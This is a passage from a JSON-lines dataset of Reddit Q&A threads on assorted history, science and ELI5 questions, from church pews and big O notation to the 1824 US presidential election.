give some support during long services.\n\nI'm not sure when pews for the congregation came in, but they seem to have been present in some parish churches prior to the Reformation hitting England.  My reason for saying this is that due to the increased important of preaching, some churches changed their seating layout to face a pulpit on what used to be the side of the church, so that the church was now wider than long, allowing the congregation to hear the preacher more easily. This was sometimes done imperfectly, so that some of the box pews face in the wrong direction still. \n\nA box pew, btw, is a pew with a door, and tends to have higher partitions than is needed purely to provide back support. These would be rented by a family. These were later replaced by lower open pews to be used on a first-come-first-seated basis, although you can still find churches with a mix of box and open pews. Box pews are generally found in older Anglican churches, but were probably more important in non-conformist churches at first, since they were not supported by tithes and had to find other forms of income. In Scotland, the annual auction of pews could cause some friction (see JM Barrie's *Auld Licht Idylls* for a fictionalised account).", "I started to do some research in this area, but my findings are still preliminary.\n\nI don't think, as /u/ctesibius says, current Orthodox practice is necessarily a good guide to early church practice, but in this case it does seem correct. At least, in my main period (2-5th century church history), congregations would stand, and often the presiding minister would sit when preaching.\n\nThere's a document [here](_URL_0_) from 1844 that gives some argument about pews and their origins. So at least in England the introduction of pews precedes the Reformation. \n\nI think the argument that Protestantism accelerated the adoption of seating in church due to the more prominent place of the sermon is not necessarily proven. It sounds like a sound argument, because the Reformation did place greater emphasis on preaching, but I can't find any evidence that this fact itself lead to wider adoption of seating in churches."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://anglicanhistory.org/misc/freechurch/fowler_pews1844.html"]]}
{"q_id": "6tarlh", "title": "Did the Mexican government want more immigrants in Texas in order to create a buffer between them and the Comanche? If not, why did the Mexican government want immigrants in Texas?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6tarlh/did_the_mexican_government_want_more_immigrants/", "answers": {"a_id": ["dljgf13"], "score": [3], "text": ["The opening of the border into Texas from the United States started before Mexican Independence. Moses Austin had been negotiating with Spanish authorities to allow him to bring families to populate the Area. It all was interrupted during the Independence movement. Later it was picked up by his son Stephen Austin, who successfully brought the first American families into Texas. Mexico indeed wanted a buffer between its bigger settlements and the Comanche. During Mexico's independence movement, Spain had to divert money and resources from the settlements and missions in its northern frontier. And after ten years of fighting, and independent Mexico was in no position to protect the area either. The Comanche raided as far south as the present states of Chihuahua, Sonora, Coahuila, Nuevo Leon, Tamaulipas, Zacatecas and San Luis Potosi. After Texas independence, Comanche raiders reached the city of Queretaro, about  miles north of Mexico City. Chapter 5 of David Webber's \"The Mexican Frontier deals with the subject. Personally, I do not believe it was a \"misguided scheme\" as Gwynne writes. It was a well thought of affair that was done in good faith. All Immigrants were to become Mexican Citizens, obey the local Laws, and convert to Roman Catholicism. Around 1834-35 the Mexican Government stopped allowing immigrants to com in, and tried to relocate Mexican Families into the area. This didn't stop the flow of immigrants who started to cross illegally and took possession of lands without any regard to the law. Further reading that might interest you is \"The Alamo Story\" by J. R. Edmondson, Chapters five and six deal with people who forced their way into Texas. The digital collection of the Texas State Library and Archives, you may find material that's close to primary sources, as well as the special collection (digital) of the Institute of Texan Cultures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cj63zj", "title": "Do animals regard machines as other animals and try to bite them, eat them, etc? At what point do they/can they distinguish machines from animals?", "selftext": "I've always wondered if a snake would try to bite a drone that landed near it. If it did, would it try to bite a lawnmower? A CAR? At what point do animals distinguish living things from machines?  Has this ever been studied?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cj63zj/do_animals_regard_machines_as_other_animals_and/", "answers": {"a_id": ["evbqx2k", "evc6dcf"], "score": [78, 8], "text": ["A snake would absolutely try and bite a drone if it flew near it. Well at least some aggressive snakes would. They'd also bite stick, rocks, hands, cars, lawnmowers etc if they got too near to them and they felt threatened. Whether it thinks it's an animal is a bit too philosophical for them though. They know danger, they don't know animal. Some animals do show that they know what other animals are, usually prey, like mosquitos \"smell\" blood and probably wouldn't try and eat a tree unless they were very confused.", "Our state conservation magazine had a cover photo of a guy on a lawnmower right near a bear. The bear would run off if it saw a human (smarter than the average bear), but a human on a noisy lawnmower wasn't scary at all, and the bear would ignore it, going about it's business munching blackberries."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6j4b3v", "title": "Aquariums hold sea life that live great distances below the surface where the pressure is much greater. Do aquariums some how simulate the amount of pressure the animals would experience in their natural habitat, or does it not matter?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6j4b3v/aquariums_hold_sea_life_that_live_great_distances/", "answers": {"a_id": ["djc6957", "djcm8j8"], "score": [9, 3], "text": ["Deep-sea organisms can survive a wide range of pressures as long as the temperature is kept low. If you subject the organisms that live close to the surface of the water to much bigger pressures, they're gonna die, but it doesn't work this way the other way round. Many organisms that live at depths less than 2 kilometres can be brought safely to the surface (though the process is complicated) and put into normal aquariums. A depth of 2000 meters seems to be the limit. Past that limit, the organisms probably won't survive the decompression process and they can only be kept in pressurised tanks. ", "Most of the life in aquariums (like most of the life in the oceans) actually comes from relatively shallow depths.  And many of the fish that live deeper actually migrate up to the surface every night to feed.\n\nBut in general, at the depths most aquarium animals come from (and quite a bit deeper than that) pressure just doesn't matter too much as long as it doesn't change rapidly.  Flesh, blood, bone, these are all mostly incompressible.  Raise the pressure and they aren't effected.  Pressure really only comes into play when animals have gas voids in them, like swim bladders or lungs.  The air in these _is_ compressible and so they are vulnerable to pressure changes.  For fish, as long as they are gradually brought to the surface they can adjust the air in their swim bladders slowly and account for the change.\n\nThe other impact of pressure is on animals that live _very_ deep.  The extremely high pressures at these depths mean the actual function of cell membranes and proteins is slightly different, and these can have trouble adjusting to life at the surface for that reason.  But these aren't the sort of thing you'd see at the average aquarium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "p2mm6", "title": "Brightest laser in the world? And how far it can shine.", "selftext": "I stumbled across an article here about an x-ray laser heating matter to 3.6 million degrees. This sparked some interest... actually went and purchased a handheld laser for myself, and I was reading on wicked lasers that their handheld green laser at 1000 mW can shine for 85 miles. It is also advertised as \"the most powerful handheld laser\" so this got me thinking... what is the brightest/most powerful laser in existence, and if you were to shine it into the sky how far would the beam be visible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p2mm6/brightest_laser_in_the_world_and_how_far_it_can/", "answers": {"a_id": ["c3m07xc", "c3m2wlz"], "score": [2, 3], "text": [" > and I was reading on wicked lasers that their handheld green laser at 1000 mW\n\nIf you're going to be using a 1W laser you **absolutely must** have protective goggles. Not sunglasses! Actual protective goggles with an OD rating of at least 2.3. A one watt laser is powerful enough that even diffuse reflections can blind you.\n\n > what is the brightest/most powerful laser in existence,\n\nProbably the 500 terawatt laser at the national ignition facility.\n\n > and if you were to shine it into the sky how far would the beam be visible?\n\nIt wouldn't be visible at all because it's output is in the UV range.", "For peak power output, LLNL and one of the UT's can reach ~1.2 petawatts.\n\nDo note that their pulses are high-power, but not high-energy: UT can deliver about 200 J per pulse, equivalent to maybe a raindrop worth of gasoline, and they can do it about once an hour -- it just all arrives at once. LLNL delivers about 4 MJ, equivalent to about an eggshell-full of gasoline, once every five hours.\n\nIf you're looking for sustained power output, my guess would be the [MIRACL](_URL_0_) laser, which can put out ~1 MW for ~70 seconds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.fas.org/spp/military/program/asat/miracl.htm"]]}
{"q_id": "1n5467", "title": "What is polynomial time? (In layman terms)", "selftext": "I was reading this (_URL_0_) and I also want to know what \"big O notation\" is. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1n5467/what_is_polynomial_time_in_layman_terms/", "answers": {"a_id": ["ccfjk4q", "ccfldu8", "ccfqasf", "ccg6jcz"], "score": [4, 15, 5, 4], "text": ["Big O notation is a way of providing an upper-bound on the growth of a function in terms of input size, space required, etc. Most often, it's used to provide the upper bound on growth given input of size n. It tells us how many operations, or computations, this algorithm will execute *given an input of size n*.\n\nIf we say that a function f(n) is big O of another function, g(n), then g(n) serves as an upper-bound for f(n). This is useful because when someone introduces a new algorithm they wrote, we most often want to see how it compares to other known algorithms. So they can describe the runtime of their algorithm by saying what serves as an upper bound to it, using big O.\n\nPolynomial time means that the function in question is O(some polynomial function). Most commonly, it will be O(n^2 ) or O(n^3 ). Again, this means that n^2 and n^3 serve as upper bounds for the runtime of the function in question. So, we can roughly count on the algorithm having to execute n^2 primitive operations given an input of size n, if it is O(n^2 ). (This is not really precisely true, but it's close enough to serve as a general description of time analysis and big O)", "The time a computation will take usually depends on the amount of input data to the computation -- it takes longer to sort a long list of numbers than a short one. However, depending on the computation in question, the dependency of the time T on the amount of input data will be different. \n\nFor a particular algorithm the dependency might be measured to be T=2.1*n^2 +5*n+6. This would be an example of a polynomial algorithm, since the expression for T is a polynomial, i.e. it contains terms like n^k with k constant. As n gets very large, the n^2 term in this case will be much bigger than the other terms, so we can ignore all the other terms without introducing much of an error. We also only care about the proportionality between n and T, so the 2.1 factor can be dropped as well, shortening T=2.1*n^2 +5*n to simply T=n^2 or the more common notation O(n^2 ). \n\nOther algorithms may be O(n) or O(n^3 ) etc., all of which are polynomial. Alternatively, an algorithm may run in constant time, i.e. the time is the same no matter how much input data there is. This is written as O(1). An example of a constant time algorithm is looking something up in a hash table. Search in a [binary tree](_URL_0_) is logarithmic, O(log(n)), so each time the data set size is four times larger, the search takes only twice as long, since adding four times as much data to a binary tree only doubles the depth of the tree. Good sorting algorithms are O(nlog(n)).\n\nSome difficult problems are exponential, O(2^n ), in which case adding just one more element to the input data doubles the time it takes to solve. Even worse are factorial problems O(n!). The general difficulty (or cost in terms of time spent) of a calculation can be characterized by the complexity, with O(1) being the fastest/cheapest, then polynomial time, the lower exponent the better, then exponential and factorial and the really hard problems.\n\nAlgorithms also have a space complexity, i.e. how much memory is required to solve the problem. It is approached in the same way, and also uses big-O notation. An algorithm need not have the same time and space complexity, in fact often we get better time performance at the cost of bigger memory footprint.", "Let's first talk about super-polynomial time, to better understand why polynomial time is important.\n\nA famous problem in computer science is the [Traveling Salesman Problem](_URL_0_), often abbreviated to TSP. TSP asks: \"Imagine that you are a salesman, who has to travel to a number of different cities, and you know the distances between each pair of these cities. What is the most efficient order in which you can visit each city (i.e. what is the least distance you need to travel in total)?\".\n\nThe obvious way to solve this problem is to try all permutations of ordering the cities and seeing which ordering requires the least total distance to be travelled. \n\nFor example, if the cities are A, B  &  C, you can visit them in one of these orders:\n\n* A - >  B - >  C\n* A - >  C - >  B\n* B - >  A - >  C\n* B - >  C - >  A\n* C - >  A - >  B\n* C - >  B - >  A\n\nIf you have N cities, you will have to consider N! or N x (N-1) x (N-2) ... 1 different permutations. Now consider how N! grows as N grows, compared to something like N^2 (N*N):\n\n* N   N^2   N!\n* 1     1      1\n* 2     4      2\n* 3     9      6\n* 4     16    24\n* 5     25    120\n* 6     36    720\n* 7     49    5040\n* 8     64    40320\n* 9     81    362880\n* 10   100   3628800\n* 11   121   39916800\n* 12   144   479001600\n* 13   169   6227020800\n* 14   196   87178291200\n* 15   225   1307674368000\n* 16   256   20922789888000\n* 17   289   355687428096000\n* 18   324   6402373705728000\n* 19   361   121645100408832000\n* 20   400   2432902008176640000\n\nAs can be seen, as N increases from 1 to 20, N^2 grows pretty quickly too, but N! grows **insanely** fast. You can probably imagine how much the difference between N! and N^2 will be when N is 1000, or a million, or a billion.\n\nN^2 is an example of a polynomial function. There are an infinite number of polynomial functions, like N^100, or N^1 (just N), or N^0 (just 1), but **all of them** will grow more slowly than N!. Therefore, it's clear that an algorithm whose solution time is a polynomial function of the input is **way** more useful than one whose solution time is a super-polynomial function of the input, especially if the input size may be quite large.\n\nIncidentally, TSP is an NP-Hard problem, which means there will never be an exact solution for it that works in polynomial time. We usually rely upon approximate solution techniques called *heuristics*, that solve it in polynomial time, but aren't guaranteed to return the **best** possible solution.\n\nNow for the Big-oh notation. We usually state that an algorithm is O(f(x)), where f(x) is a function of x. For example, the above TSP solution is O(N!). Remember when we enumerated each possible permutation of visiting the cities A, B, and C? Assume that it takes you some fixed amount of time to write down each permutation, and to calculate the total distance traveled according to that permutation (say 5 seconds). Let's also say that when you've enumerated all the possibilities, it takes you a fixed amount of time to compare them all and write down the best solution (say 10 seconds).\n\nThen for the {A, B, C} example above, it would take you 5 x 6 + 10 = 40 seconds to solve the problem. For N cities, it would take you 5 x N! + 10 seconds to solve the problem. We therefore say that our solution is O(N!) because if you allow for some constant amount of time taken to process each step, and some constant amount of time to process the overall solution, then our solution basically completes in no more than N! time. In other words, **when you say that your algorithm is O(something), you're saying that as N increases beyond a point, your algorithm never takes more than 'something' time**, allowing for some constant time to calculate each step and to compute the final result. \n\nFinally, big-oh notation can be used to make some very broad claims, not all of which are useful. For example, if you have an algorithm that always completes in 10 seconds, regardless of the input size, technically it also completes in no more than N! time, so you can say that our algorithm is O(N!). But this is a fairly useless statement, since it doesn't convey just how fast our algorithm really is. Therefore, you'd usually want to express your algorithm as O(f(x)) where f(x) is the lowest possible order of magnitude.\n\nNote: The big-oh explanation above is a little simplistic. It actually isn't necessary that the time taken to process the final solution is a constant like 10 sec - as long as it doesn't take an order of magnitude more time than the rest of the solution, for example.\n\nEdit: Formatting.", "It's not exactly a layman's question, sorry. That's probably why all the answers here are big and confusing.\n\nThe super simple answer is that programmers need to categorize computer programs into slow and fast. **\"Big O\" notation is how we label different kinds of slow and fast**. Ignoring exactly what the categories mean, the standard categories (from fastest to slowest) are:\n\n* O(1)\n* O(log n)\n* O(n)\n* O(n log n)\n* O(n^k)\n* O(2^n)\n* O(n!)\n\nBasically, you want a computer program to be one of the first 4 cases and in some situations, the 5th case. If your computer program is in the last two categories, it will probably be so slow that it's unusable or even impossible (given any earthly amount of time or resources).\n\nSo what do these categories mean?\n\nOne of the ways of thinking about programming is to treat what the computer does as a decision problem (going through the list of potential answers and which potential answer is the correct answer).\n\nDecision problems are easy when there's only a few possible answers. You can just examine each potential answer and test if the potential answer satisfies the problem's requirements. It doesn't usually matter how slow the program is if it only needs to consider a dozen possible answers. Anything more than that though and the most difficult types of problems may start being problematic.\n\n**The real test for a decision problem comes when the number of possible answers scales up.**\n\nSome problems don't get any harder when the number of possible answers gets bigger. For example: pick the 8th potential answer, no matter what it is. Selecting the 8th answer will never get any harder, no matter how many answers there are \u2013 you don't need to look at the answers at all. **This is O(1).**\n\nSome problems get proportionally harder. For example: go through the list of potential answers and if you find the number 28347, choose that as the answer but if you don't find it, select the last answer. We will usually have to examine each answer once so the difficulty scales with the number of possible answers.\n **This is O(n).** (the 'n' stands for the number of possible answers).\n\nSome problems get polynomially harder (the difficulty is the number of answers multiplied by the number of answers, some number of times). For example: go through the list of potential answers and compare each answer to every other answer until you find the closest two answer values and select the smaller answer of the two closest. We had to perform work between every potential answer and every other potential answer so the difficult scales at a rate that is the number of potential answers squared. **This is O(n^k )** \u2013 in this specific example it is O(n^2 ) \u2013 **and is called polynomial time**. Polynomial time further extends to include cubed, quartic, quintic and every other high repetition of 'n' times itself. Obviously, lower is faster.\n\n**Big O notation measures how much more work must be done to select the correct answer as the number of potential answers grows**\n\nBut wait!!!\n\n*O(n) is technically O(n^1 ) so is also polynomial time. Similarly O(1) is O(n^0 ) and is polynomial time.*\n\nSo if all of these are polynomial time, why bother using the term polynomial time? Well it turns out that there are some problems that get so much harder, so quickly as the number of possible answers grows that they are more complex to solve than any possible problem in O(n^k ).\n\n**Polynomial time is used to describe the categories of computer programs that run fast enough to be practical.**\n\nCategories that are too slow to be practical include O(2^n ), i.e. exponential time and O(n! ), i.e. factorial time. Since these problems outpace any polynomial in complexity, they are \"greater than polynomial\" time. As problems, they are so difficult to solve that we actually use secret solutions to specific \"greater than polynomial time\" problems as part of cryptography: the difficulty of solving the problem protects the data."]}, "title_urls": [], "selftext_urls": ["http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Polynomial_time.html"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Binary_tree"], ["http://en.wikipedia.org/wiki/Travelling_salesman_problem"], []]}
{"q_id": "2ywt5w", "title": "legally speaking, what would happen to two people who discover they were switched at birth?", "selftext": "Like, what happens if they're both minors, do they go to live with their actual parents, or do they just stay with the \"adopted\" ones?\n\nAnd what about if they're adults? Do they get to keep the name and SSN and everything, or do they have to swap?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ywt5w/eli5_legally_speaking_what_would_happen_to_two/", "answers": {"a_id": ["cpdnj9n", "cpdnplg"], "score": [9, 2], "text": ["Well Wikipedia has a nice [list](_URL_0_[1].jpg) of cases where this happened. It seems that in most cases it didn't become clear until later in the children's lives and nothing was switched back. In a few cases where the discovery was made at a young age the children were returned to their biological parents", "If they were really young its possible that a judge might order the children be swapped back, but its probably rather unlikely. The judge has to weight the benefits of placing children with their true parents against the negative impact on the child of being ripped from their home. If both households are safe environments the judge isn't going to see much benefit to the disruption.\n\nIf one of those was an unsafe household (maybe an abusive parent) then the judge has a duty to get the child out of that house, and he has an ideal foster family for that one particular child, namely the true birth parents. But he wouldn't move the other child into the abusive household.\n\n----------------\n\nIf they were adults... again nothing much would happen. The SSN was assigned to them. The name was assigned to them. Its theirs and the government doesn't care about anything else.\n\n---------------\n\nIn both cases they could sue the hospital, and the hospital would probably settle out of court to avoid embarrassment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cpt12.org/images/press_room/Old%20Faithful"], []]}
{"q_id": "soeyl", "title": "how a moon pool (aka wet porch) works, and why a ship with one doesn't sink.", "selftext": "I know it must have something to do with water pressure, but was hoping for a concise ELI5 answer to understand it more easily. Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/soeyl/eli5_how_a_moon_pool_aka_wet_porch_works_and_why/", "answers": {"a_id": ["c4fmvnp", "c4fnlcc", "c4fo0bj", "c4fo9bo", "c4fprus", "c4frz4f", "c4fvs1b"], "score": [102, 19, 19, 31, 15, 13, 5], "text": ["There are a few different kinds of moon pools.  The easiest one to understand are basically a hole in the floor above the waterline of a drilling platform or ship with multiple hulls that lets you look down into the water.\n\nYou're probably thinking of moon pools below the water line though.  Imagine taking a cup, turning it upside down and then pushing it under water.  You will have trapped some air inside the cup.  The water wants to get in the cup, but it can't make a lot of progress because the air is taking up the space (the air does compress a little).\n\nNow imagine drilling a hole in the side of the cup while its under water.  Obviously the air will leak out through the hole, and the water will rise to a bit above the drill hole.  \n\nThis is how moon pools work, except that the hole in the cup is an airlock that keeps all of the air from escaping.  While the air is kept in place, the water cannot enter.  If the moon pool were turned sideways, or had a hole, it would indeed fill with water.", "What I'd really like to know is why the hell it is called a moon pool.", "ELI5: What the hell is a moon pool.", "Now I want to watch The Abyss tonight.", "This is exactly the kind of question I enjoy finding in ELI5.", "So is this the same thing as when Jack Sparrow takes a flipped over canoe underwater with a pocket of breathable air?", "While we are at it, how does the one in ['The Abyss'](_URL_0_) work? [youtube video](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.imdb.com/title/tt0096754/", "http://www.youtube.com/watch?feature=player_detailpage&amp;v=8Q60x_5WOqk#t=26s"]]}
{"q_id": "1fo3oa", "title": "If you let your body fight off something like Strepp throat rather than taking antibiotics, will you be more resistant to it in the future?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fo3oa/if_you_let_your_body_fight_off_something_like/", "answers": {"a_id": ["cacke5a"], "score": [4], "text": ["No, even if the antibiotics kill the bacteria the antigens present on the bacteria remain. Your immune system will still identify the antigens as foreign and still produce antibodies and specific memory T-cells for future protection. As is the case with immunisation, you don't need a live organism to elicit an immune response. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1dbyaz", "title": "What are these 'bands/arcs' in the visible universe that show up from 30 to 100GHz?", "selftext": "On this webpage \n\n_URL_0_\n\nYou can see the visible universe at different wave lengths. I noticed some bands/arcs appearing in the top right quarter at wavelengths between 30GHz and 100GHz. \n\nAre these nothing or something?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dbyaz/what_are_these_bandsarcs_in_the_visible_universe/", "answers": {"a_id": ["c9ov9hr", "c9p1drm"], "score": [23, 2], "text": ["It seems like they were having technical difficulties at the time they were imaging those parts:\n\n > In the half-ring difference maps a darker stripe,\n > corresponding to two observation days, is visible due to higher\n > noise (it is barely visible also in the frequency maps). This is due\n > to the fact that in the first days of observation the LFI instrument\n > was affected by an occasional bit-flip change in the gain-setting\n > circuit of the data acquisition electronics, probably due to cosmic\n > ray hits; at that time we did not know the cause of the problem\n > and we were obliged to perform some operations to identify and\n > solve it.\n\n[Warning: 90MB PDF file](_URL_0_)\n\nAlso, click on Options, then constellations on your link and you can see that the dark line is a similar shape to the celestial equator.\n\n*not a scientist, unless computer science counts", "Actually the arc can be seen as a sine wave in both hemispheres if you look closely. Pan the image horizontally and it will wrap (endless horizontal pan) but you will notice the full sine wave.\n\nAlso:\n\n_URL_1_\n_URL_0_  < - arcs seen easily in X-Ray view"]}, "title_urls": [], "selftext_urls": ["http://astrog80.astro.cf.ac.uk/Planck/Chromoscope/"], "answers_urls": [["http://www.rssd.esa.int/SYS/docs/ll_transfers/project=PUBDB&amp;id=3167991&amp;page=1.pdf#1"], ["http://www.chromoscope.net/", "http://www.reddit.com/r/askscience/comments/pzvff/why_on_xray_image_of_night_sky_there_are_scars/"]]}
{"q_id": "92spqm", "title": "how is it possible that fish or frogs rain from the sky?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/92spqm/eli5_how_is_it_possible_that_fish_or_frogs_rain/", "answers": {"a_id": ["e384132"], "score": [2], "text": ["Normally it happens when there is a geyser or a water spout nearby. Tornados will also cause debris and other items, sometimes fish or frogs to be lifted up into the air and dropped onto some other location. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3qou2c", "title": "what is the reddit \"hug of death\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3qou2c/eli5_what_is_the_reddit_hug_of_death/", "answers": {"a_id": ["cwh0uqo"], "score": [7], "text": ["When a post including a link gets extremely popular on Reddit, the linked website isn't always capable of handling the suddenly increased online traffic. The website is basically overwhelmed by the love of Reddit, making other users unable to load the page."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lipfm", "title": "why do black people have more rhythm than white people generally speaking? (serious inquiry)", "selftext": "I understand that stereotypes are not all encompassing, but they also exist for a reason. I know WAY more black friends with rhythm than white... explanation?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lipfm/eli5_why_do_black_people_have_more_rhythm_than/", "answers": {"a_id": ["cbzmdgm", "cbzmmxe", "cbzmr2c", "cbzni7k"], "score": [9, 4, 2, 2], "text": ["'Having more rhythm' is less of a racial thing and more of a social thing. Black culture and those born into it will experience far more rhythmic music in all walks of life, be it through work, worship and everyday living.\n\nThat doesn't happen nearly enough in middle-class white societies.", "They don't. Your stereotype is social in nature, not racial.", " >  explanation?\n\nSelection bias or confirmation bias are the two likeliest candidates. In other words, you happen to know more black than white people with rhythm, or you think you do.", "They don't. It's just that people compliment rappers with \"Oh, what a nice sense of rhythm you have,\" because they're trying not to be rude."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "hpz3v", "title": "Is it possible that we could use bioengineering to develop a means of developing resistance to all possible virulent strains of bacteria and viruses? (including bioengineered ones?)", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hpz3v/is_it_possible_that_we_could_use_bioengineering/", "answers": {"a_id": ["c1xe37p", "c1xevc2"], "score": [4, 2], "text": ["In short: Most likely not...\n\nI'll keep this brief since immunology is an insanely complex field. Both the human innate and adaptive immune systems are highly developed and evolved systems. The adaptive immune system recognizes antigenic peptides from bacteria/viruses through cognate MHC (major histocompatibility complex) and TCR/BCR (t cell receptor and b cell receptor) interactions which starts a whole cascade of inflammatory responses (activating CD4+ helper T cells, CTLs, etc). Most of the times this response is fairly successful yet some bacteria/viruses have evolved immune evasion strategies (i.e. TB, H.I.V., etc) which allows them to reside in the host for extended periods of time. To get to the point you would need to have a genomic library of all antigenic peptides coming from bacteria/viruses, engineer a subjects T cells, B cells, DCs, Macrophages, etc. to have MHC/TCR complexes that would detect these peptides, reintroduce them into the host, and hope to god that the bacteria/viruses evolves on a slow enough time scale that the disease would be removed from the population before any immune evasion strategies evolve...\n\nI know this is a pretty oversimplified view (especially to the immunologists out there) but I figured I would give it a go.", "I'm going to attempt to answer this from an information-theory perspective:\n\nThe short answer is no, it's not possible, even theoretically. Why? Because essentially all formal systems (such as your immune system, for example) have \"holes\" in them that are not possible to fill. See Godel's incompleteness theorem.\n\nIn the case of an immune system, you'd have to program all the rules for attacking all possible invaders, but where do these rules come from? They come from meta-rules. Those meta-rules themselves will have vulnerabilities, and hence a virus would be able to exploit the holes in the meta-rules. You could \"patch up\" the meta-rules to make sure they are no \"holes\" in them, but then you'd have to worry about the meta-meta-rules. \n\nThis infinite regress will guarantee that you can never ever design a system that's fully immune to problems (such as viruses)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fn1y63", "title": "All former presidents except Washington were alive for the 1824 election. Did they express any opinions about that unusual election and how it turned out?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fn1y63/all_former_presidents_except_washington_were/", "answers": {"a_id": ["fl9cduv"], "score": [6], "text": ["As I am sure you are aware, Andrew Jackson came out with the most electoral college votes and popular vote (though popular elections were not universally held across the states in that election), but not enough for a majority. The election was decided by Congress upon their next session, early in 1825, and it was won by John Quincy Adams.\n\nJohn Adams responded to a letter on the subject from his grandson, John Adams II (John Quincy Adams' son) [on November 28, 1824](_URL_10_), after the election had been held, but before a winner had been decided. John Adams II's original letter, unfortunately, appears to be lost, but nevertheless, you can glean the senior John Adams' thoughts on the election from his response:\n\n >  \"I participate in all your apprehensions concerning the election. The odium, which has been conjured up against the [our] family, is indeed a formidable motive of national action. Not a reason, not an argument even original; it is a prejudice! and it is a consolation to see that it does not prevail in New\u2013England  &  New\u2013York as we might have expected. However, my dear Grandson, what is our family to this great and wide world? If we were split like Salmon or Mackerel and broiled upon a gridiron and made food for Canniballs, what then! this world would go on afterwards much as it has done heretofore. The Lord deliver us all from family pride. No pride, John, no pride...If Providence frown, submit with perfect resignation. I expect we shall be kept in hot water all the Winter and up to the 4th of March, and God save the Nation and its President, whoever he may be. If General Jackson should be chosen, I hope your Father will remain in office under him untill he has time to look about him and choose a successor, and for what I care, throughout his whole administration.\"\n\nJohn Quincy Adams was the outgoing Secretary of State, so his father's reference to his \"office\" is the hope that, if Andrew Jackson is chosen president, Jackson gives John Quincy Adams the opportunity to choose the next Secretary of State, or even stay on. The senior Adams goes on to lament the position his three grandsons are now in: \"Poor George, and poor John and poor Charles!\" But, the rest of the letter is rather mollifying. Adams tells his grandson the family needs to accept the outcome, whatever it may be, and not let pride or envy get the best of them.\n\nOn [February 19, 1825](_URL_2_), after the election had been decided in John Quincy Adams' favor, the senior John Adams wrote another letter to his grandson John Adams II, basically reiterating the same sentiments:\n\n >  \"Your account of all things is satisfactory\u2014but on this great occasion, my dear Grandson, let us all reflect on the obligations this event imposes on us. Our joys ought to be no greater than the joys of the public. We ought all of us to collect ourselves and not suffer a single unbecoming word or action to escape us. A friend writes me that light joys are talkative but deep joys are dumb. Amidst all our rejoicings public and private in this neighbourhood we have great reason to consider.\u2014I never knew a more melancholy time, on account of sickness...\n > \n >  \"Command down every petty passion John, and every selfish feeling\u2014this is not an event to excite vanity. John, it ought to excite grave and solemn reflections.\u2014Your Father\u2019s address when he accepted the office was one of those masterly pieces which he produces upon all critical occasions. The sentiments are perfectly just and the honour he does his two competitors in the House, does him great honour and them too, and I believe it has been universally acceptable to the public. I have never heard it mentioned but with praise.\"\n\nThomas Jefferson wrote a letter to Richard Rush on [June 5, 1824](_URL_0_), in which Jefferson appeared to prefer William H. Crawford as a candidate. He certainly thought he had the best chance of winning. In the same letter, he expressed suspicions of Andrew Jackson's political adherence to Democratic-Republican orthodoxy (modern capitalization and spelling mine):\n\n >  \"Among the candidates for the Presidency, you will have seen by the newspapers, that Genl Jackson\u2019s prospect was not without promise. A threatening cloud has very suddenly darkened his horizon. A letter has become public, written by him when Col. [i.e., President James] Monroe first came into office, advising him to make up his administration, without regard to party. The solid republicanism of Pennsylvania, his principal support, is thrown into great fermentation by this apparent indifference to political principle. The thing is as yet too new to see in what it will result. A baseless and malicious attack on Mr. Crawford has produced from him so clear, so incontrovertible, and so temperate a justification of himself, as to have added much to the strength of his interest. The question will ultimately be, as I suggested in a former letter to you, between Crawford and Adams; with this in favor of Crawford, that, although many states have a different first favorite, he is the 2nd with nearly all; and that if it goes into the legislature, he will surely be elected.\"\n\nThe \"former letter\" that Jefferson refers to doesn't seem to have been preserved.\n\nJefferson made the same prediction in an [October 12, 1824, letter](_URL_6_) to Francis Walker Gilmer:\n\n >  \"That question [the presidential question] will surely lie between Crawford and Adams; and whether it will go into Congress is still uncertain.\"\n\nAnd the next day, he again made the same predicton in [another letter to Richard Rush](_URL_4_):\n\n >  \"[The presidential] question will lie ultimately between Crawford and Adams. But the vote of the people, at the same time, is so distracted by subordinate candidates that possibly they may make no election, and let it go to the House of Representatives. There it is thought Crawford\u2019s chance will be best.\"\n\nJefferson actually exchanged a few letters with Crawford himself during the campaign, though he did not reveal any preference of candidate to him, or even let the subject of the presidential election really come up. About as close as he 